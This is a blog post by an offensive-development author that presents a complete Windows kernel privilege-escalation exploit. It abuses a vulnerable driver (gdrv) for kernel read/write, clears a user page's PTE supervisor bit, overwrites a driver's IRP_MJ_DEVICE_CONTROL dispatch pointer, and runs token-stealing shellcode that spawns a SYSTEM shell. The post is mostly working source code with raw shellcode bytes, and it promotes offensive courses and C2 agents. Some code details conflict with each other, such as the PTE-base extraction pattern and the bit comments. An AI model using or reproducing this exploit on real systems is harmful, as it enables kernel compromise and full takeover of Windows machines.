>_0x12Dark
←back to posts
infosecpentestingcybersecurityhackingmalware

PTE Manipulation and IRP Dispatch Hijacking to Execute Shellcode in Kernel

Welcome to this new Medium post, in this one we will see an alternative to the previous post of how to execute arbitrary shellcode at ring 0. We will allocate a page in user mode, promote it to…

PTE Manipulation and IRP Dispatch Hijacking to Execute Shellcode in Kernel

Welcome to this new Medium post, in this one we will see an alternative to the previous post of how to execute arbitrary shellcode at ring 0. We will allocate a page in user mode, promote it to supervisor accessible (ring 0) by flipping its PTE U/S bit via a BYOVD primitive, then hijack a _DRIVER_OBJECT dispatch pointer to redirect execution there from kernel context

Want to go deeper into Windows offensive development?

Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.

0x12 Dark Development

Introduction

Before diving into the technique itself, you need to understand three concepts: 1. the role of PTEs in memory protection, 2. how the Windows kernel dispatches IRP requests through driver objects, 3. what happens when you combine a kernel write with a usermode page

Page Table Entries (PTEs) On x64 Windows, every virtual page is described by a PTE in the hardware paging structures:

//0x8 bytes (sizeof)
struct _MMPTE_HARDWARE
{
ULONGLONG Valid:1; //0x0
ULONGLONG Dirty1:1; //0x0
ULONGLONG Owner:1; // U/S //0x0
ULONGLONG WriteThrough:1; //0x0
ULONGLONG CacheDisable:1; //0x0
ULONGLONG Accessed:1; //0x0
ULONGLONG Dirty:1; //0x0
ULONGLONG LargePage:1; //0x0
ULONGLONG Global:1; //0x0
ULONGLONG CopyOnWrite:1; //0x0
ULONGLONG Unused:1; //0x0
ULONGLONG Write:1; //0x0
ULONGLONG PageFrameNumber:40; //0x0
ULONGLONG ReservedForSoftware:4; //0x0
ULONGLONG WsleAge:4; //0x0
ULONGLONG WsleProtection:3; //0x0
ULONGLONG NoExecute:1; //0x0
};

Each PTE contains the physical frame number, access permissions, and several control bits. The bit we care about is bit 2: the User/Supervisor (Owner) bit. When set, the page is accessible from both ring 3 and ring 0. When clear, the page is only accessible from ring 0.

The key is that the CPU enforces this check at translation time, it does not care about the virtual address range the page occupies. A page allocated with VirtualAlloc in user space can be made kernel accessible simply by clearing its U/S bit, without moving or copying anything

MiGetPteAddress and MmPteBase: The kernel function MiGetPteAddress computes the PTE virtual address for any given virtual address. It does so using a global base pointer called MmPteBase. Once you have MmPteBase, computing any page's PTE VA is arithmetic

_DRIVER_OBJECT and the MajorFunction dispatch table: Every loaded kernel driver is represented by a _DRIVER_OBJECT structure. One of its fields is MajorFunction, an array of 28 function pointers indexed by IRP major code

_DRIVER_OBJECT:

//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
ULONG Flags; //0x10
VOID* DriverStart; //0x18
ULONG DriverSize; //0x20
VOID* DriverSection; //0x28
struct _DRIVER_EXTENSION* DriverExtension; //0x30
struct _UNICODE_STRING DriverName; //0x38
struct _UNICODE_STRING* HardwareDatabase; //0x48
struct _FAST_IO_DISPATCH* FastIoDispatch; //0x50
LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x60
VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1); //0x68
LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x70
};

When usermode code calls DeviceIoControl, the I/O Manager packages the request as an IRP and dispatches it through MajorFunction[14] (IRP_MJ_DEVICE_CONTROL). If an attacker can overwrite that pointer with an arbitrary address, the next DeviceIoControl targeting that driver causes the kernel to call the attacker's address, at ring 0.

The shellcode isn’t written to kernel memory. Just a function pointer overwrite and a legitimate IOCTL

Methodology

The full attack chain is:

  1. BYOVD arbitrary kernel R/W via a vulnerable driver
  2. Allocate and pin a usermode shellcode page (VirtualAlloc + VirtualLock)
  3. Extract MmPteBase from MiGetPteAddress in ntoskrnl.exe
  4. Write the shellcode’s PTE with Owner=0, W=1, X=1: supervisor (ring0 accesible) RWX
  5. Walk the Object Manager namespace to locate \Driver\<target> and get the _DRIVER_OBJECT VA
  6. Overwrite MajorFunction[14] of the driver with the shellcode VA (the memory page where we copied the shellcode and applied the PTE manipulation)
  7. Trigger via DeviceIoControl, call DeviceIoControl, when is called the kernel goes to the driver MajorFunction and calls the pointer, in this case the pointer points directly to the shellcode memory space
  8. Shellcode steals SYSTEM token; spawn cmd.exe as SYSTEM

Implementation

Extracting MmPteBase from MiGetPteAddress

MmPteBase is embedded in MiGetPteAddress inside a lea instruction. We scan the function body for the pattern 0x48 0x8D 0x04 (the lea rax, [rip+disp32] prefix on x64) and compute the actual address:

DWORD64 ExtractMmPteBase(HANDLE drv, DWORD64 ntoskrnlBase, DWORD64 miGetPteAddressRva) {
DWORD64 funcVA = ntoskrnlBase + miGetPteAddressRva;

BYTE buf[32] = {};
ReadPrimitive(drv, buf, (LPVOID)(uintptr_t)funcVA, sizeof(buf));

for (int i = 0; i < (int)sizeof(buf) - 7; i++) {
// lea rax, [rip+disp32]: 48 8D 04 [ModRM with RIP-relative]
if (buf[i] == 0x48 && buf[i+1] == 0x8D && buf[i+2] == 0x04 && buf[i+3] == 0x25) {
INT32 disp = *(INT32*)&buf[i + 4];
// RIP at next instruction = funcVA + i + 8
DWORD64 mmPteBase = funcVA + i + 8 + disp;
return mmPteBase;
}
}
return 0;
}

We look for the encoding 48 8D 04 25 which is lea rax, [rip+disp32]. The actual VA is RIP (next instruction) plus the displacement

Allocating and locking the shellcode page

LPVOID shellcodePage = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!shellcodePage) return 1;

if (!VirtualLock(shellcodePage, 0x1000)) {
printf("VirtualLock failed (%lu) — page may be paged out during kernel execution\n", GetLastError());
return 1;
}

memcpy(shellcodePage, tokenStealingShellcode, sizeof(tokenStealingShellcode));

PAGE_READWRITE at allocation time. The page only needs to be executable from ring 0 after PTE manipulation, we never need it to be usermode executable. VirtualLock is mandatory

PTE manipulation

bool MakePageKernelRwx(HANDLE drv, DWORD64 pageVA, DWORD64 mmPteBase) {
// PTE VA = MmPteBase + (pageVA >> 9) & ~7
DWORD64 pteVA = mmPteBase + ((pageVA >> 9) & ~7ULL);

DWORD64 pte = 0;
if (!ReadPrimitive(drv, &pte, (LPVOID)(uintptr_t)pteVA, sizeof(DWORD64)))
return false;

// Clear U/S bit (bit 2), set Writable (bit 1), set Dirty (bit 6)
pte &= ~(1ULL << 2); // clear (Owner) User/Supervisor, supervisor only
pte |= (1ULL << 1); // set Writable
pte |= (1ULL << 6); // set Dirty (avoid COW fault)

return WritePrimitive(drv, (LPVOID)(uintptr_t)pteVA, &pte, sizeof(DWORD64));
}

The PTE VA formula on x64: MmPteBase + (VA >> 9) & ~7. After the write the page's U/S bit is 0, so the CPU will allow access from ring 0.

We do not need to set an explicit NX bit here because on most configurations the PTE is already mapped as executable from the kernel side once U/S is cleared

Object Manager namespace walk

To find the _DRIVER_OBJECT we traverse the kernel object namespace starting from ObpRootDirectoryObject:

ULONG64 FindDriverObject(HANDLE drv, ULONG64 ntoskrnlBase, const wstring& targetName) {
ULONG64 rootDir = 0;
ReadPrimitive(drv, &rootDir, (LPVOID)(uintptr_t)(ntoskrnlBase + g_offsets.ObpRootDirectoryObject), sizeof(ULONG64));

for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 entry = 0;
ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)(rootDir + i * sizeof(ULONG64)), sizeof(ULONG64));

while (entry && IsKernelAddress(entry)) {
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));

if (object && IsKernelAddress(object)) {
ULONG64 header = object - g_offsets.OH_Body;
UCHAR infoMask = 0;
ReadPrimitive(drv, &infoMask, (LPVOID)(uintptr_t)(header + g_offsets.OH_InfoMask), sizeof(UCHAR));

if (infoMask & 0x02) { // name info present
ULONG64 nameInfoOffset = GetNameInfoOffset(infoMask);
wstring objName;
if (KReadUnicodeString(drv, (header - nameInfoOffset) + g_offsets.OHNI_Name, objName)) {
if (objName == L"Driver") {
return SearchDriverInDirectory(drv, object, targetName);
}
}
}
}

ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
}
}
return 0;
}

Overwriting MajorFunction[14] and triggering

ULONG64 driverObj = FindDriverObject(drv, ntoskrnlBase, L"\\Driver\\gdrv");

ULONG64 majFuncBase = driverObj + g_offsets.DO_MajorFunction;
ULONG64 ioctlEntry = majFuncBase + 14 * sizeof(ULONG64);

WritePrimitive(drv, (LPVOID)(uintptr_t)ioctlEntry, &shellcodePage, sizeof(ULONG64));

HANDLE h = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, nullptr);
OVERLAPPED ov = {};
ov.hEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
DeviceIoControl(h, 0xC3502404, nullptr, 0, nullptr, 0, nullptr, &ov);

Index 14 in MajorFunction is IRP_MJ_DEVICE_CONTROL. The IOCTL code used is any valid code the driver would normally handle; the dispatch is intercepted before the real handler runs

Full Code

main.cpp

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <algorithm>
#include <vector>
#include "DrvOps.h"
#include "GetOffsets.h"
#include "PTEOps.h"

using namespace std;

#define NUM_HASH_BUCKETS 37

struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 PsInitialSystemProcess;
DWORD64 ObHeaderCookie;
DWORD64 IopInvalidDeviceRequest;
ULONG64 ObpRootDirectoryObject;

DWORD ODE_ChainLink;
DWORD ODE_Object;
DWORD OH_InfoMask;
DWORD OH_Body;
DWORD OHNI_Name;
DWORD DO_DriverName;
DWORD DO_MajorFunction;
DWORD DO_Driver_Extension;
DWORD DE_AddDevice;
DWORD64 MiGetPteAddressRva;
ULONG64 Token;
} g_offsets = {};

typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};

typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}

for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}

return 0;
}


std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;

auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation) return driverList;

ULONG len = 0;
const int SystemModuleInformation = 11;

NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);

if (status != 0) return driverList; // STATUS_SUCCESS = 0

auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;

const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);

driverList.push_back(drv);
}

std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});

return driverList;
}

bool KReadUnicodeString(HANDLE drv, ULONG64 unicodeStringAddr, wstring& out) {
USHORT length = 0;
if (!ReadPrimitive(drv, &length, (LPVOID)(uintptr_t)unicodeStringAddr, sizeof(USHORT)))
return false;

ULONG64 buffer = 0;
if (!ReadPrimitive(drv, &buffer, (LPVOID)(uintptr_t)(unicodeStringAddr + 0x08), sizeof(ULONG64)))
return false;

if (!buffer || !length || length > 1024)
return false;

USHORT charCount = length / sizeof(wchar_t);
out.resize(charCount);

if (!ReadPrimitive(drv, out.data(), (LPVOID)(uintptr_t)buffer, length))
return false;

return true;
}

bool IsKernelAddress(ULONG64 addr) {
return addr >= 0xFFFF000000000000ULL;
}

ULONG64 GetNameInfoOffset(UCHAR infoMask) {
static const UCHAR bits[] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40 };
static const ULONG sizes[] = { 0x20, 0x20, 0x10, 0x20, 0x10, 0x08, 0x10 };

ULONG offset = 0;
for (int i = 0; i < 7; i++) {
if (infoMask & bits[i]) {
offset += sizes[i];
if (bits[i] == 0x02)
return offset;
}
}
return 0;
}

ULONG64 SearchDriverInDirectory(HANDLE drv, ULONG64 directory, const wstring& targetName) {
for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)(directory + i * sizeof(ULONG64)), sizeof(ULONG64)))
continue;

while (entry && IsKernelAddress(entry)) {
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));

if (object && IsKernelAddress(object)) {
wstring driverName;
if (KReadUnicodeString(drv, object + g_offsets.DO_DriverName, driverName)) {
printf(" driver: %ls\n", driverName.c_str());
if (_wcsicmp(driverName.c_str(), targetName.c_str()) == 0) {
printf("[+] Found _DRIVER_OBJECT at 0x%llX (%ls)\n", object, driverName.c_str());
return object;
}
}
}

ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}

printf("[-] Driver not found in \\Driver\\\n");
return 0;
}


ULONG64 FindDriverObject(HANDLE drv, ULONG64 ntoskrnlBase, const wstring& targetName) {
ULONG64 rootDirPtr = ntoskrnlBase + g_offsets.ObpRootDirectoryObject;

ULONG64 rootDir = 0;
if (!ReadPrimitive(drv, &rootDir, (LPVOID)(uintptr_t)rootDirPtr, sizeof(ULONG64))) {
printf("[-] Failed to read ObpRootDirectoryObject\n");
return 0;
}

printf("[*] ObpRootDirectoryObject: 0x%llX\n", rootDir);

int totalEntries = 0;
int namedEntries = 0;

for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 bucketAddr = rootDir + i * sizeof(ULONG64);
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)bucketAddr, sizeof(ULONG64))) {
continue;
}

printf("[*] Bucket %d: entry=0x%llX\n", i, entry);

while (entry && IsKernelAddress(entry)) {
totalEntries++;

ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));

printf(" entry=0x%llX object=0x%llX\n", entry, object);

if (object && IsKernelAddress(object)) {
ULONG64 header = object - g_offsets.OH_Body;

UCHAR infoMask = 0;
ReadPrimitive(drv, &infoMask, (LPVOID)(uintptr_t)(header + g_offsets.OH_InfoMask), sizeof(UCHAR));

printf(" header=0x%llX infoMask=0x%02X\n", header, infoMask);

if (infoMask & 0x02) {
namedEntries++;
ULONG64 nameInfoOffset = GetNameInfoOffset(infoMask);
ULONG64 nameInfo = header - nameInfoOffset;

printf(" nameInfoOffset=0x%llX nameInfo=0x%llX\n", nameInfoOffset, nameInfo);

if (IsKernelAddress(nameInfo)) {
wstring objName;
if (KReadUnicodeString(drv, nameInfo + g_offsets.OHNI_Name, objName)) {
printf(" name: %ls\n", objName.c_str());
if (objName == L"Driver") {
printf("[*] Found \\Driver\\ directory at 0x%llX\n", object);
return SearchDriverInDirectory(drv, object, targetName);
}
}
else {
printf(" KReadUnicodeString failed\n");
}
}
}
}

ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}

printf("[-] \\Driver\\ not found. totalEntries=%d namedEntries=%d\n", totalEntries, namedEntries);
return 0;
}

DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}

DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;

getchar();
// Open Driver

getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;


// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}

// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;

// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;


DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;

DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;

// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;

if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}

// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}

currentProcess = nextProcess;
}

cout << "PID Not found after checking all processes " << endl;
return 0;
}

int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}

CloseHandle(hSnap);
return pid;
}

BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

unsigned char tokenStealingShellcode[] = {
0x50,
0x51,
0x52,
0x53,
0x56,
0x57,
0x41, 0x50,
0x41, 0x51,
0x41, 0x52,
0x41, 0x53,

0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,
0x48, 0x89, 0xC7,
0x48, 0x8B, 0x98, 0xD8, 0x01, 0x00, 0x00,
0x48, 0x81, 0xEB, 0xD8, 0x01, 0x00, 0x00,
0x48, 0x89, 0xD8,
0x81, 0xB8, 0xD0, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x75, 0xE3,
0x48, 0x8B, 0x80, 0x48, 0x02, 0x00, 0x00,
0x48, 0x83, 0xE0, 0xF0,
0x48, 0x89, 0x87, 0x48, 0x02, 0x00, 0x00,
0x41, 0x5B,
0x41, 0x5A,
0x41, 0x59,
0x41, 0x58,
0x5F,
0x5E,
0x5B,
0x5A,
0x59,
0x58,
0xC3
};

int main() {
cout << "Hello World!\n";

// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();

// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}

HANDLE drv = openVulnDriver();

// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();

// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();

printf("\n[+] Offsets resolved\n");

g_offsets.ObjectTable = off.ObjectTable;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
g_offsets.ObHeaderCookie = off.ObHeaderCookie;
g_offsets.ObpRootDirectoryObject = off.ObpRootDirectoryObject;


printf("ObjectTable: 0x%llX\n", (unsigned long long)g_offsets.ObjectTable);
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
printf("ObHeaderCookie: 0x%llX\n", (unsigned long long)g_offsets.ObHeaderCookie);
printf("ObHeaderCookie: 0x%llX\n", (unsigned long long)g_offsets.ObHeaderCookie);
printf("ObpRootDirectoryObject: 0x%llX\n", (unsigned long long)g_offsets.ObpRootDirectoryObject);

g_offsets.ODE_ChainLink = off.ODE_ChainLink;
g_offsets.ODE_Object = off.ODE_Object;
g_offsets.OH_InfoMask = off.OH_InfoMask;
g_offsets.Token = off.Token;
g_offsets.OH_Body = off.OH_Body;
g_offsets.OHNI_Name = off.OHNI_Name;
g_offsets.DO_DriverName = off.DO_DriverName;
g_offsets.DO_MajorFunction = off.DO_MajorFunction;
g_offsets.IopInvalidDeviceRequest = off.IopInvalidDeviceRequest;
g_offsets.DE_AddDevice = off.DE_AddDevice;
g_offsets.DO_Driver_Extension = off.DO_DriverExtension;
g_offsets.MiGetPteAddressRva = off.MiGetPteAddressRva;

printf("ODE_ChainLink: 0x%X\n", g_offsets.ODE_ChainLink);
printf("ODE_Object: 0x%X\n", g_offsets.ODE_Object);
printf("OH_InfoMask: 0x%X\n", g_offsets.OH_InfoMask);
printf("OH_Body: 0x%X\n", g_offsets.OH_Body);
printf("OHNI_Name: 0x%X\n", g_offsets.OHNI_Name);
printf("DO_DriverName: 0x%X\n", g_offsets.DO_DriverName);
printf("IopInvalidDeviceRequest: 0x%llX\n", (unsigned long long)g_offsets.IopInvalidDeviceRequest);
printf("MajorFunction: offset 0x%X\n", g_offsets.DO_MajorFunction);
printf("DE_AddDevice: offset 0x%X\n", g_offsets.DE_AddDevice);
printf("DO_Driver_Extension: offset 0x%X\n", g_offsets.DO_Driver_Extension);

DWORD64 mmPteBase = ExtractMmPteBase(drv, ntoskrnlBase, g_offsets.MiGetPteAddressRva);
if (!mmPteBase) {
printf("[-] Cannot resolve MmPteBase\n");
return 1;
}

LPVOID shellcodePage = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("[*] Shellcode VA: 0x%llX\n", (DWORD64)shellcodePage);
if (!VirtualLock(shellcodePage, 0x1000)) {
printf("VirtualLock failed (%lu)\n", GetLastError());
return false;
}
getchar();

*(DWORD*)(tokenStealingShellcode + 36) = (DWORD)g_offsets.ActiveProcessLinks;
*(DWORD*)(tokenStealingShellcode + 43) = (DWORD)g_offsets.ActiveProcessLinks;
*(DWORD*)(tokenStealingShellcode + 52) = (DWORD)g_offsets.UniqueProcessId;
*(DWORD*)(tokenStealingShellcode + 65) = (DWORD)g_offsets.Token;
*(DWORD*)(tokenStealingShellcode + 76) = (DWORD)g_offsets.Token;

memcpy(shellcodePage, tokenStealingShellcode, sizeof(tokenStealingShellcode));
printf("[+] Shellcode copied to page\n");

bool ok = MakePageKernelRwx(drv, (DWORD64)shellcodePage, mmPteBase);
if (!ok) {
printf("[-] MakePageKernelRwx failed\n");
return 1;
}
printf("[+] Page marked as Supervisor RWX\n");
printf("[*] To execute from ring 0, redirect a kernel function pointer to 0x%llX\n", (DWORD64)shellcodePage);




ULONG64 driverObj = FindDriverObject(drv, ntoskrnlBase, L"\\Driver\\gdrv");
if (driverObj) {
printf("[+] _DRIVER_OBJECT: 0x%llX\n", driverObj);
}

ULONG64 majFuncBase = driverObj + g_offsets.DO_MajorFunction;
ULONG64 ioctlEntry = majFuncBase + 14 * sizeof(ULONG64);
WritePrimitive(drv, (LPVOID)(uintptr_t)ioctlEntry, &shellcodePage, sizeof(ULONG64));

HANDLE h = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
nullptr);

OVERLAPPED ov = {};
ov.hEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);

DeviceIoControl(h, 0xC3502404, nullptr, 0, nullptr, 0, nullptr, &ov);

printf("[+] Done\n");

STARTUPINFOW si = {};
si.cb = sizeof(si);
si.lpDesktop = (LPWSTR)L"Winsta0\\Default";
PROCESS_INFORMATION pi = {};

if (!CreateProcessW(
L"C:\\Windows\\System32\\cmd.exe",
nullptr, nullptr, nullptr,
FALSE, CREATE_NEW_CONSOLE,
nullptr, nullptr, &si, &pi)) {
printf("CreateProcessW failed: %lu\n", GetLastError());
return 1;
}

printf("SYSTEM shell spawned PID %lu\n", pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return 0;
}

PTEOps.h

#pragma once
#include <Windows.h>
#include <stdio.h>
#include "DrvOps.h"

static DWORD64 ExtractMmPteBase(HANDLE drv, DWORD64 ntoskrnlBase, DWORD64 miGetPteAddressRva) {
DWORD64 funcVa = ntoskrnlBase + miGetPteAddressRva;

BYTE buf[64] = {};
ReadPrimitive(drv, buf, (LPVOID)(uintptr_t)funcVa, sizeof(buf));
for (int i = 0; i < (int)sizeof(buf) - 10; i++) {
if (buf[i] == 0x48 && buf[i + 1] == 0xB8) {
DWORD64 candidate = 0;
memcpy(&candidate, &buf[i + 2], 8);
if ((candidate >> 48) == 0xFFFF) {
printf("[+] MmPteBase: 0x%llX (at offset +%d in MiGetPteAddress)\n", candidate, i);
return candidate;
}
}
}
printf("[-] MmPteBase pattern not found in MiGetPteAddress\n");
return 0;
}

static DWORD64 GetPteVa(DWORD64 targetVa, DWORD64 mmPteBase) {
return mmPteBase + ((targetVa >> 12) * 8);
}


union PTE_HARDWARE {
DWORD64 Value;
struct {
ULONGLONG Valid : 1; // bit 0 (= Present)
ULONGLONG Dirty1 : 1; // bit 1
ULONGLONG Owner : 1; // bit 2 - 0=supervisor, 1=user (= U/S)
ULONGLONG WriteThrough : 1; // bit 3
ULONGLONG CacheDisable : 1; // bit 4
ULONGLONG Accessed : 1; // bit 5
ULONGLONG Dirty : 1; // bit 6
ULONGLONG LargePage : 1; // bit 7
ULONGLONG Global : 1; // bit 8
ULONGLONG CopyOnWrite : 1; // bit 9
ULONGLONG Unused : 1; // bit 10
ULONGLONG Write : 1; // bit 11 R/W
ULONGLONG PageFrameNumber : 40; // bits 12-51
ULONGLONG ReservedForSoftware : 4;
ULONGLONG WsleAge : 4;
ULONGLONG WsleProtection : 3;
ULONGLONG NoExecute : 1; // bit 63
};
};

